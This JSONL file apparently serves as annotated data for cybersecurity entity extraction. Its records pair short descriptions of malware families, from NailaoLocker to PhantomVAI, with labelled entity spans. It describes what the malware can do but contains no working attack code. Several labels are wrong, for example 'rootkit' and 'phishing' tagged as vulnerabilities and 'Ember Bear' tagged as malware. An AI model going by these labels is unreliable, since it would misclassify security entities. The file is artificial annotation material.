+{"text": "According to Orange Cybwerdefense, NailaoLocker is a ransomware using AES-256-CTR mode, which conveniently logs  its encryption activities into a log file.", "spans": {"MALWARE: NailaoLocker": [[35, 47]]}, "info": {"source": "apt_reports", "name": "NailaoLocker"}}
+{"text": "Nanocore is a Remote Access Tool used to steal credentials and to spy on cameras. It as been used for a while by numerous criminal actors as well as by nation state threat actors.", "spans": {"MALWARE: Nanocore": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Nanocore RAT"}}
+{"text": "NedDnLoader is an HTTP(S) downloader that uses AES for C&C trafic encryption.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, user name, type and free disk space of all drives, and a list of currently running processes. It uses three typical parameter names for HTTP POST requests: ned, gl, hl. The usual payload downloaded with NedDnLoader is Torisma.\r\n\r\nThe internal DLL name of NedDnLoader is usually Dn.dll, Dn64.dll or DnDll.dll. It is deployed either as a standalone payload or within a trojanized MFC application project. It contains specific RTTI symbols like \".?AVCWininet_Protocol@@\" or \".?AVCMFC_DLLApp@@\".", "spans": {"MALWARE: NedDnLoader": [[0, 11], [366, 377], [418, 429]], "MALWARE: Torisma": [[381, 388]]}, "info": {"source": "apt_reports", "name": "NedDnLoader"}}
+{"text": "According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.", "spans": {"MALWARE: Nemty": [[88, 93]]}, "info": {"source": "apt_reports", "name": "Nefilim"}}
+{"text": "Nemty is a ransomware that was discovered in September 2019. Fortinet states that they found it being distributed through similar ways as Sodinokibi and also noted artfifacts they had seen before in Gandcrab.", "spans": {"MALWARE: Nemty": [[0, 5]], "SYSTEM: Fortinet": [[61, 69]], "MALWARE: Sodinokibi": [[138, 148]], "MALWARE: Gandcrab": [[199, 207]]}, "info": {"source": "apt_reports", "name": "Nemty"}}
+{"text": "Proofpoint observed distribution of this RAT since late April 2022, it is written on Go and incorporates code from various open-source Git repositories.", "spans": {"SYSTEM: Git": [[135, 138]], "SYSTEM: Go": [[85, 87]], "ORGANIZATION: Proofpoint": [[0, 10]]}, "info": {"source": "apt_reports", "name": "Nerbian RAT"}}
+{"text": "Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\"", "spans": {"MALWARE: Neshta": [[0, 6]]}, "info": {"source": "apt_reports", "name": "neshta"}}
+{"text": "NESTEGG is a memory-only backdoor that can proxy commands to other\r\ninfected systems using a custom routing scheme. It accepts commands to\r\nupload and download files, list and delete files, list and terminate processes, and\r\nstart processes. NESTEGG also creates Windows Firewall rules that allows the\r\nbackdoor to bind to a specified port number to allow for inbound traffic.", "spans": {"MALWARE: NESTEGG": [[0, 7], [242, 249]], "SYSTEM: Windows": [[263, 270]]}, "info": {"source": "apt_reports", "name": "NESTEGG"}}
+{"text": "A RAT written in .NET, delivered with a driver to protect it from deletion. Observed being dropped by PrivateLoader.", "spans": {"SYSTEM: .NET": [[17, 21]], "MALWARE: PrivateLoader": [[102, 115]]}, "info": {"source": "apt_reports", "name": "NetDooka"}}
+{"text": "NetfilterRootkit is a WFP application layer enforcement callout driver which is signed by Microsoft via the Windows Hardware Compatibility program. It was first discovered by Karsten Hahn. His team submitted the malware to Microsoft, which allowed Microsoft to start an investigation.\r\n\r\nAfter Karsten Hahn published tweets and an article about the rootkit, Microsoft quickly responded with their own article. Their investigation revealed Chinese gamers as targets of the malware. The rootkit redirects traffic to the threat actor's IP. The threat actor can use the driver to spoof their geo-location to cheat, but it also allows account compromise of targeted players.\r\n\r\nWhile this particular rootkit is not significant anymore, similar rootkits have been created since that are also signed by Microsoft via the Windows Hardware Compatibility program.", "spans": {"MALWARE: NetfilterRootkit": [[0, 16]], "SYSTEM: Windows": [[108, 115], [814, 821]], "ORGANIZATION: Microsoft": [[90, 99], [223, 232], [248, 257], [358, 367], [796, 805]], "VULNERABILITY: rootkit": [[349, 356], [485, 492], [695, 702]]}, "info": {"source": "apt_reports", "name": "NetfilterRootkit"}}
+{"text": "Freely available network reconnaissance tool.", "spans": {}, "info": {"source": "apt_reports", "name": "NetSpy"}}
+{"text": "Enigma Software notes that NetSupport Manager is a genuine application, which was first released about twenty years ago. The purpose of the NetSupport Manager tool is to enable users to receive remote technical support or provide remote computer assistance. However, cyber crooks have hijacked this useful application and misappropriated it to use it in their harmful campaigns. The name of the modified version of the NetSupport Manager has been labeled the NetSupport Manager RAT.", "spans": {"MALWARE: NetSupport": [[27, 37], [140, 150], [419, 429], [459, 469]]}, "info": {"source": "apt_reports", "name": "NetSupportManager RAT"}}
+{"text": "Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.\r\n\r\nKeylog files are stored on the infected machine in an obfuscated form. The algorithm is:\r\n\r\n            for i in range(0,num_read):\r\n                buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF", "spans": {"MALWARE: Netwire": [[0, 7]], "VULNERABILITY: keylogging": [[75, 85]]}, "info": {"source": "apt_reports", "name": "NetWire RC"}}
+{"text": "According to Unit 42, NET-STAR is a .NET malware suite designed to target Internet Information Services (IIS) web servers. It was named based on the use of the string in the malware’s program database (PDB) paths. The suite consists of three distinct web-based backdoors, each serving a specific role in the attack chain while maintaining persistence within the target’s IIS environment: A fileless modular backdoor that supports in-memory execution of command-line arguments, arbitrary commands and payloads, a loader for additional Assemblies, and improved version of the Assembly loader that is also equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities.", "spans": {"MALWARE: NET-STAR": [[22, 30]], "SYSTEM: Windows": [[673, 680]], "SYSTEM: IIS": [[105, 108], [371, 374]], "SYSTEM: .NET": [[36, 40]], "ORGANIZATION: Unit 42": [[13, 20]]}, "info": {"source": "apt_reports", "name": "NET-STAR"}}
+{"text": "According to Unit42,  NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.", "spans": {"MALWARE: NGLite": [[22, 28], [176, 182]]}, "info": {"source": "apt_reports", "name": "NGLite"}}
+{"text": "C2 framework.", "spans": {}, "info": {"source": "apt_reports", "name": "Nighthawk"}}
+{"text": "According to eSentire, NightshadeC2 demonstrates an extensive capability set, including: Reverse shell via Command Prompt/PowerShell; Download and execute DLL or EXE; Self-deletion; Remote control; Screen capture; Hidden web browsers; Keylogging; clipboard content capturing. Certain variants have been found with stealing capabilities that enable the extraction of browser passwords and cookies from victim systems for both Gecko and Chromium based browsers.", "spans": {"MALWARE: NightshadeC2": [[23, 35]], "TOOL: PowerShell": [[122, 132]]}, "info": {"source": "apt_reports", "name": "NightshadeC2"}}
+{"text": "NikiHTTP is a versatile backdoor and has multiple capabilities such as download of files, executing them, performing commands, take screenshots and so on.", "spans": {"MALWARE: NikiHTTP": [[0, 8]]}, "info": {"source": "apt_reports", "name": "NikiHTTP"}}
+{"text": "NikiTeaR is a sophisticated, custom-developed RAT, which is a rewritten variant of the NikiHTTP (aka NikiTea) RAT. \r\n\r\nIt supports the following commands:\r\n\r\n- srun <EXEC> <ARGS>: Executing arbitrary commands with elevated privileges.\r\n- up/down <FILENAME>: Performing remote file operations (upload/download).\r\n- screen: Capturing screenshots for reconnaissance.\r\n- conn <IP_ADDRESS> <PORT>: Establishing a reverse shell \r\n- memload <EXPORT>: Loading additional DLL into memory.\r\n- die <COMMAND>: Terminates the process and remove trace\r\n\r\nIt is delivered via a multi-staged execution chain, beginning with a Golang-based dropper that executes a loader, a DLL with the internal name MemLoad_V3.dll, capable of loading DLL reflectively. \r\n\r\nIts internal DLL name is httptroy_dll.dll.\r\n\r\nTo resist analysis, the backdoor is heavily obfuscated; it utilizes custom hashing to conceal Windows API calls, and employs a combined Base64+XOR encryption for C&C traffic and internal character strings, which are dynamically reconstructed at runtime.", "spans": {"MALWARE: NikiTeaR": [[0, 8]], "SYSTEM: Windows": [[881, 888]], "MALWARE: NikiHTTP": [[87, 95]]}, "info": {"source": "apt_reports", "name": "NikiTeaR"}}
+{"text": "NimbleMamba is a new implant used by TA402/Molerats group as replacement of LastConn. It uses guardrails to ensure that victims are within the TA's target region. It is written in C# and delivered as an obfuscated .NET executable. One seen obfuscator is SmartAssembly.", "spans": {"THREAT_ACTOR: Molerats": [[43, 51]], "THREAT_ACTOR: TA402": [[37, 42]], "SYSTEM: .NET": [[214, 218]], "MALWARE: LastConn": [[76, 84]]}, "info": {"source": "apt_reports", "name": "NimbleMamba "}}
+{"text": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", "spans": {"MALWARE: Nimbo-C2": [[25, 33]], "SYSTEM: Windows": [[117, 124]], "SYSTEM: Linux": [[133, 138]], "SYSTEM: .NET": [[180, 184]]}, "info": {"source": "apt_reports", "name": "Nimbo-C2"}}
+{"text": "Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.", "spans": {"SYSTEM: Discord": [[109, 116]]}, "info": {"source": "apt_reports", "name": "NimGrabber"}}
+{"text": "Part of Mythic C2, written in Nim. \r\nConsidered deprecated, as it is only compatible with Mythic 2.1.", "spans": {"TOOL: Mythic": [[8, 14], [90, 96]]}, "info": {"source": "apt_reports", "name": "Nimplant"}}
+{"text": "Backdoor written in Nim.", "spans": {}, "info": {"source": "apt_reports", "name": "Nimrev"}}
+{"text": "According to its author, NimBlackout is an adaptation of the @Blackout project originally developed in C++ by @ZeroMemoryEx, which consists of removing AV/EDRs using the gmer (BYOVD) driver. The main reason for this project was to understand how BYOVD attacks work, and then to provide a valid PoC developed in Nim.", "spans": {"MALWARE: NimBlackout": [[25, 36]]}, "info": {"source": "apt_reports", "name": "NimBlackout"}}
+{"text": "NirCmd is a benign tool by NirSoft that provides various functionalities. Among these is e.g. a capability to start regedit as SYSTEM, which is sometimes abused for privilege escalation, or other functionality abusable for other malicious purposes. It is also frequently flagged by AV engines.", "spans": {"MALWARE: NirCmd": [[0, 6]], "VULNERABILITY: privilege escalation": [[165, 185]]}, "info": {"source": "apt_reports", "name": "NirCmd"}}
+{"text": "Ransomware family which requires payment in Discord gift cards (\"Discord Nitro\").", "spans": {"THREAT_ACTOR: Nitro": [[73, 78]], "SYSTEM: Discord": [[44, 51], [65, 72]]}, "info": {"source": "apt_reports", "name": "Nitro"}}
+{"text": "This ransomware has much in common with the LukaLocker ransomware. 1  Analysis of the files reveals strong correlations between the Nitrogen, LukaLocker and Cactus families.\r\nThese similarities lead us to believe that these ransomware families are administered by the same people, or that the files were developed using a common framework. 2", "spans": {}, "info": {"source": "apt_reports", "name": "Nitrogen Ransomware"}}
+{"text": "A Turkish cryptominer campaign.", "spans": {}, "info": {"source": "apt_reports", "name": "Nitrokod"}}
+{"text": "RedPacket Security describes NJRat as \"a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives.\"\r\n\r\nIt is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.", "spans": {"TOOL: NJRat": [[29, 34]]}, "info": {"source": "apt_reports", "name": "NjRAT"}}
+{"text": "It's .NET Rat with harcoded key", "spans": {"SYSTEM: .NET": [[5, 9]]}, "info": {"source": "apt_reports", "name": "nmass malware"}}
+{"text": "Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.", "spans": {"MALWARE: Nokki": [[0, 5]], "THREAT_ACTOR: APT37": [[304, 309]], "MALWARE: Konni": [[60, 65]]}, "info": {"source": "apt_reports", "name": "Nokki"}}
+{"text": "A wiper that overwrites target files with itself, thus spreading in virus-fashion.", "spans": {}, "info": {"source": "apt_reports", "name": "NominatusToxicBattery"}}
+{"text": "Ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "Nopyfy"}}
+{"text": "An open source C2 framework intended for pentest and red teaming activities.", "spans": {}, "info": {"source": "apt_reports", "name": "NorthStar"}}
+{"text": "According to PCrisk, Nosu is the name of a malicious program classified as a stealer. This malware is designed to steal information from infected machines. The Nosu stealer can extract a wide variety of data from devices and installed applications. The most active campaigns associated with Nosu were noted in North and South America, as well as Southeast Asia.", "spans": {"MALWARE: Nosu": [[21, 25], [160, 164], [291, 295]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Nosu"}}
+{"text": "Nova Stealer is a new information stealer that is offered as Malware-as-a-Service by a new French-speaking actor called \"Nova Sentinel\". Its capabilities include password stealing, browser injections, crypto wallet stealing, discord injections, and screen recordings. Parts of its source code have been made available on GitHub, with certain \"Premium\" features missing.", "spans": {"MALWARE: Nova Stealer": [[0, 12]], "SYSTEM: GitHub": [[321, 327]]}, "info": {"source": "apt_reports", "name": "Nova Stealer"}}
+{"text": "Ntospy is a credential stealer leveraging a well-established technique of abusing the Windows Network Provider interface, a method documented as early as 2004 and exemplified by tools like NPPSpy. Posing as a legitimate Network Provider DLL, Ntospy injects itself into the Windows authentication process, hijacking login attempts to harvest user credentials. It achieves this by registering a malicious Network Provider, typically named \"credman,\" which intercepts authentication requests and redirects them to it malicious DLL. \r\n\r\nInstead of immediately exfiltrating the stolen data, Ntospy employs a form of local storage, writing the captured credentials in cleartext to files disguised as harmless Microsoft Update packages using the .msu file extension. These files are often planted in system directories with believable names like \"c:/programdata/package cache/windows10.0-kb5009543-x64.msu,\" further masking their malicious purpose.\r\n\r\nAdding to its stealth, Ntospy incorporates obfuscation techniques to evade detection. This includes using seemingly innocuous filenames for its DLL, often mimicking critical system files like \"ntoskrnl.dll\" to blend in. Some variants even go a step further by encrypting the credential storage file path within the DLL, requiring analysis and decryption to uncover its full functionality.", "spans": {"MALWARE: Ntospy": [[0, 6], [242, 248], [586, 592], [968, 974]], "SYSTEM: Windows": [[86, 93], [273, 280]], "ORGANIZATION: Microsoft": [[703, 712]]}, "info": {"source": "apt_reports", "name": "Ntospy"}}
+{"text": "NSFOCUS describes PhantomNugget as a modularized malware toolkit, that was spread using EternalBlue. Payloads included a RAT and a XMRig miner.", "spans": {"VULNERABILITY: EternalBlue": [[88, 99]]}, "info": {"source": "apt_reports", "name": "NuggetPhantom"}}
+{"text": "Nullmixer is a dropper/loader for additional malware. It is known to drop a vast amount of different malware, such as info stealers, rats and additional loaders. Samples observed contained up to 8 additional payloads.", "spans": {"MALWARE: Nullmixer": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Nullmixer"}}
+{"text": "According to PCrisk, Numando is a banking trojan written in the Delphi programming language. As the malicious program's classification implies, it is designed to steal banking information. Numando primarily targets Brazil, with seldom campaigns occurring in Mexico and Spain.", "spans": {"MALWARE: Numando": [[21, 28], [189, 196]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Numando"}}
+{"text": "Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.", "spans": {"MALWARE: Nymaim": [[0, 6], [154, 160], [256, 262]]}, "info": {"source": "apt_reports", "name": "Nymaim"}}
+{"text": "According to bin.re, in April 2018 a new version of Nymaim appeared, that has dropped previous obfuscation, and uses a new wordlist based DGA (Domain Generation Algorithm).", "spans": {"MALWARE: Nymaim": [[52, 58]]}, "info": {"source": "apt_reports", "name": "Nymaim2"}}
+{"text": "OATBOAT is a loader that loads and executes shellcode payloads.", "spans": {"MALWARE: OATBOAT": [[0, 7]]}, "info": {"source": "apt_reports", "name": "OATBOAT"}}
+{"text": "Emanuele De Lucia summarizes that this wiper was sent to potential targets in phishing mails that impersonated ESET as a follow up to a breach of its Israeli distributor Comsecure.", "spans": {"SYSTEM: ESET": [[111, 115]], "VULNERABILITY: phishing": [[78, 86]]}, "info": {"source": "apt_reports", "name": "OctoberSeventh"}}
+{"text": "Octowave Loader is a malware loader used to run other families of malware. This is often made up of an MSI or Inno Setup installer for a legitimate piece of software that has been trojanised to include a number of malicious DLLs which inevitably load and run malicious code often stored within a WAV file that is also delivered to an endpoint. In the wild this has been seen delivered through fake software installers and ClickFix / Fake Captcha campaigns. Families of malware deployed often include information stealers, NetSupport RAT, and potentially bots like Danabot.", "spans": {"MALWARE: Octowave Loader": [[0, 15]], "TOOL: NetSupport": [[522, 532]]}, "info": {"source": "apt_reports", "name": "Octowave Loader"}}
+{"text": "Spam bot that was active around 2007 and after, one of the first malware families to use a domain generation algorithm.", "spans": {}, "info": {"source": "apt_reports", "name": "Oderoor"}}
+{"text": "a new, previously unknown backdoor that we named Okrum. The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors.", "spans": {"MALWARE: Okrum": [[49, 54], [88, 93]], "MALWARE: Ketrican": [[180, 188]]}, "info": {"source": "apt_reports", "name": "Okrum"}}
+{"text": "According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28.\r\nIt targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data.\r\nIn some places it is mistakenly named \"Sasfis\", which however seems to be a completely different and unrelated malware family.", "spans": {"MALWARE: OLDBAIT": [[22, 29]], "MALWARE: Sasfis": [[350, 356]], "THREAT_ACTOR: APT28": [[91, 96]], "SYSTEM: Firefox": [[137, 144]], "SYSTEM: Internet Explorer": [[110, 127]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "OLDBAIT"}}
+{"text": "Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.", "spans": {}, "info": {"source": "apt_reports", "name": "Olympic Destroyer"}}
+{"text": "According to Symantec, this malware has been deployed against IT services companies in the U.S. and Europe. A multi-stage backdoor, the first stage is a downloader that authenticates to Microsoft Graph API and downloads the second stage payload from OneDrive and executes it. The main payload will download a publicly available file from GitHub. It will then create a folder in OneDrive named deviceId_n_<ip address> for each infected machine and upload a file to OneDrive to signal the attackers the status of a new infection.", "spans": {"SYSTEM: GitHub": [[338, 344]], "SYSTEM: Symantec": [[13, 21]], "ORGANIZATION: Microsoft": [[186, 195]]}, "info": {"source": "apt_reports", "name": "Ondritols"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Oni"}}
+{"text": "OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.", "spans": {"MALWARE: OnionDuke": [[0, 9]], "TOOL: Tor": [[116, 119]], "ORGANIZATION: F-Secure": [[202, 210]], "MALWARE: MiniDuke": [[177, 185]]}, "info": {"source": "apt_reports", "name": "OnionDuke"}}
+{"text": "A spambot that has been observed being used for spreading Ursnif, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.", "spans": {"VULNERABILITY: phishing": [[99, 107]], "MALWARE: Ursnif": [[58, 64]], "MALWARE: Zeus Panda": [[66, 76]], "MALWARE: Zeus": [[66, 70]]}, "info": {"source": "apt_reports", "name": "OnlinerSpambot"}}
+{"text": "This entry serves as a placeholder of malware observed during Operation Ghoul. The samples will likely be assigned to their respective families. Some families involved and identified were Alina POS (Katrina variant) and TreasureHunter POS.", "spans": {"THREAT_ACTOR: Operation Ghoul": [[62, 77]]}, "info": {"source": "apt_reports", "name": "OpGhoul"}}
+{"text": "FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.", "spans": {"MALWARE: ORANGEADE": [[16, 25]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "ORANGEADE"}}
+{"text": "OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.", "spans": {"MALWARE: OrcaRAT": [[0, 7]], "SYSTEM: Windows": [[39, 46]]}, "info": {"source": "apt_reports", "name": "OrcaRAT"}}
+{"text": "A malware generating DGA domains seeded by the Bitcoin Genesis Block. This family has strong code overlap with win.victorygate.", "spans": {}, "info": {"source": "apt_reports", "name": "Orchard"}}
+{"text": "Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.", "spans": {"DOMAIN: VB.net": [[447, 453]]}, "info": {"source": "apt_reports", "name": "Orcus RAT"}}
+{"text": "This malware claims to be a ransomware, but it's actually a wiper. After execution, this malware terminates a number of processes such as database processes, likely to allow access to any files that these programs may have held open. Ordinypt will avoid wiping certain files and folders in order to prevent the infected machine from becoming unusable. Affected files are overwritten with null character and receive a random 5 character file extension. Finally, shadow copies are removed and Windows startup repair is disabled to complicate recovery of data from the affected system. The desktop background is changed and a ransom note is dropped for the victim. A C2 check-in occurs to keep track of the file extension used on that specific machine, as well as which BitCoin address was randomly provided for payment to the victim (drawn from a long list stored in the ransomware configuration).", "spans": {"MALWARE: Ordinypt": [[234, 242]], "SYSTEM: Windows": [[491, 498]]}, "info": {"source": "apt_reports", "name": "Ordinypt"}}
+{"text": "OriginBot is a modular information stealer which can also download and execute other malicious payloads.", "spans": {"MALWARE: OriginBot": [[0, 9]]}, "info": {"source": "apt_reports", "name": "OriginBot"}}
+{"text": "Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.", "spans": {}, "info": {"source": "apt_reports", "name": "Oski Stealer"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "OutCrypt"}}
+{"text": "According to MITRE, OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.", "spans": {"MALWARE: OutSteel": [[20, 28]], "ORGANIZATION: MITRE": [[13, 18]], "MALWARE: Ember Bear": [[136, 146]]}, "info": {"source": "apt_reports", "name": "OutSteel"}}
+{"text": "Kaspersky describes this as a OWA add-on that has credential stealing capabilities.", "spans": {"SYSTEM: Kaspersky": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Owowa"}}
+{"text": "Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.", "spans": {"MALWARE: Paladin": [[0, 7]], "MALWARE: Gh0st RAT": [[28, 37]]}, "info": {"source": "apt_reports", "name": "paladin"}}
+{"text": "According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.\r\n\r\nThis banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.\r\n\r\nThe baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.\r\n\r\nPanda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.", "spans": {"ORGANIZATION: Proofpoint": [[35, 45]], "MALWARE: Zeus": [[84, 88]]}, "info": {"source": "apt_reports", "name": "PandaBanker"}}
+{"text": "According to PCrisk, Panda is the name of a malicious program, which is classified as a stealer. It is a new variant of CollectorStealer.\r\n\r\nThe aim of this malware is to extract and exfiltrate sensitive and personal information from infected devices. Panda primarily targets data relating to cryptocurrency wallets.\r\n\r\nThis piece of malicious software has been observed being actively distributed via spam campaigns - large-scale operations during which thousands of scam emails are sent. The spam mail proliferating Panda stealer heavily targeted users from the United States, Germany, Japan, and Australia.\r\n\r\nThe deceptive email letters concerned business-related topics (e.g., fake product quote requests, etc.). Panda stealer is a dangerous program, and as such - its infections must be removed immediately upon detection.", "spans": {"MALWARE: Panda stealer": [[518, 531], [718, 731]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Panda Stealer"}}
+{"text": "Pandora ransomware was obtained by vx-underground at 2022-03-14.", "spans": {"MALWARE: Pandora": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Pandora"}}
+{"text": "A multi-platform RAT written in Go.", "spans": {"SYSTEM: Go": [[32, 34]]}, "info": {"source": "apt_reports", "name": "Pantegana"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Paradise"}}
+{"text": "Parallax is a Remote Access Trojan used by attackers to gain access to a victim's machine. It was involved in one of the many infamous \"coronamalware\" campaigns. Basically, the attackers abused the COVID-19 pandemic news to lure victims into opening themed emails spreading parallax.", "spans": {}, "info": {"source": "apt_reports", "name": "Parallax RAT"}}
+{"text": "According to Microsoft, Parite is a family of polymorphic file infectors that targets computers running Microsoft Windows. The virus infects .exe and .scr executable files on the local file system and on writeable network shares. In turn, the infected executable files perform operations that cause other .exe and .scr files to become infected.", "spans": {"MALWARE: Parite": [[24, 30]], "SYSTEM: Windows": [[114, 121]], "ORGANIZATION: Microsoft": [[13, 22], [104, 113]]}, "info": {"source": "apt_reports", "name": "Parite"}}
+{"text": "PartyTicket is a Go-written ransomware, which was described as a poorly designed one by Zscaler. According to Brett Stone-Gross this malware  is likely intended to be a diversion from the Hermetic wiper (aka. KillDisk.NCV, DriveSlayer) attack.", "spans": {"MALWARE: PartyTicket": [[0, 11]], "SYSTEM: Go": [[17, 19]], "ORGANIZATION: Zscaler": [[88, 95]], "MALWARE: KillDisk.NCV": [[209, 221]], "MALWARE: KillDisk": [[209, 217]], "MALWARE: DriveSlayer": [[223, 234]]}, "info": {"source": "apt_reports", "name": "PartyTicket"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Passlock"}}
+{"text": "According to Cisco Talos, this wiper replaces the contents of artifacts related to the file system with random data generated on the fly. It identifies connected storage media, creates one thread per drive and volume for every path recorded and overwrites artifacts with randomly generated bytes. The wiper also reads multiple file systems attributes from NTFS  and overwrites them as well. PathWiper additionally destroys files on disk by overwriting them with randomized bytes.", "spans": {"MALWARE: PathWiper": [[391, 400]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "PathWiper"}}
+{"text": "PcShare is a open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.", "spans": {"MALWARE: PcShare": [[0, 7]]}, "info": {"source": "apt_reports", "name": "PcShare"}}
+{"text": "PeddleCheap is a module of the DanderSpritz framework which surface with the \"Lost in Translation\" release of TheShadowBrokers leaks. In May 2020, ESET mentioned that they found mysterious samples of PeddleCheap packed with a custom packer so far exclusively attributed to Winnti.", "spans": {"MALWARE: PeddleCheap": [[0, 11], [200, 211]], "SYSTEM: ESET": [[147, 151]]}, "info": {"source": "apt_reports", "name": "PeddleCheap"}}
+{"text": "Wrapper for Kazuar.", "spans": {"MALWARE: Kazuar": [[12, 18]]}, "info": {"source": "apt_reports", "name": "Pelmeni"}}
+{"text": "Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.", "spans": {"SYSTEM: SQLite": [[189, 195]], "SYSTEM: Python": [[11, 17]], "VULNERABILITY: keylogging": [[432, 442]], "MALWARE: Peppy": [[0, 5], [136, 141], [293, 298], [384, 389]], "MALWARE: Crimson": [[115, 122]]}, "info": {"source": "apt_reports", "name": "Peppy RAT"}}
+{"text": "The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim’s machine. What’s more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.", "spans": {"MALWARE: PetrWrap": [[4, 12], [201, 209], [353, 361]]}, "info": {"source": "apt_reports", "name": "PetrWrap"}}
+{"text": "Information gathering and downloading tool used to deliver second stage malware to the infected system", "spans": {}, "info": {"source": "apt_reports", "name": "pgift"}}
+{"text": "According to Cyble, PhantomCore is a backdoor utilized by the hacktivist group Head Mare. It has been active since 2023 and is known for consistently targeting Russia. PhantomCore collects the victim’s information, including the public IP address, to gain detailed insights into the target before deploying the final-stage payload or executing additional commands on the compromised system. PhantomCore is known to deploy ransomware payloads such as LockBit and Babuk, inflicting significant damage on the victim’s systems.", "spans": {"MALWARE: PhantomCore": [[20, 31], [168, 179], [391, 402]], "THREAT_ACTOR: Head Mare": [[79, 88]], "MALWARE: Babuk": [[462, 467]]}, "info": {"source": "apt_reports", "name": "PhantomCore"}}
+{"text": "PhantomVAI Loader is a malicious multi-stage infection chain used to distribute the Katz Stealer information-stealing malware or other malicious payloads.", "spans": {"MALWARE: PhantomVAI": [[0, 10]]}, "info": {"source": "apt_reports", "name": "PhantomVAI"}}
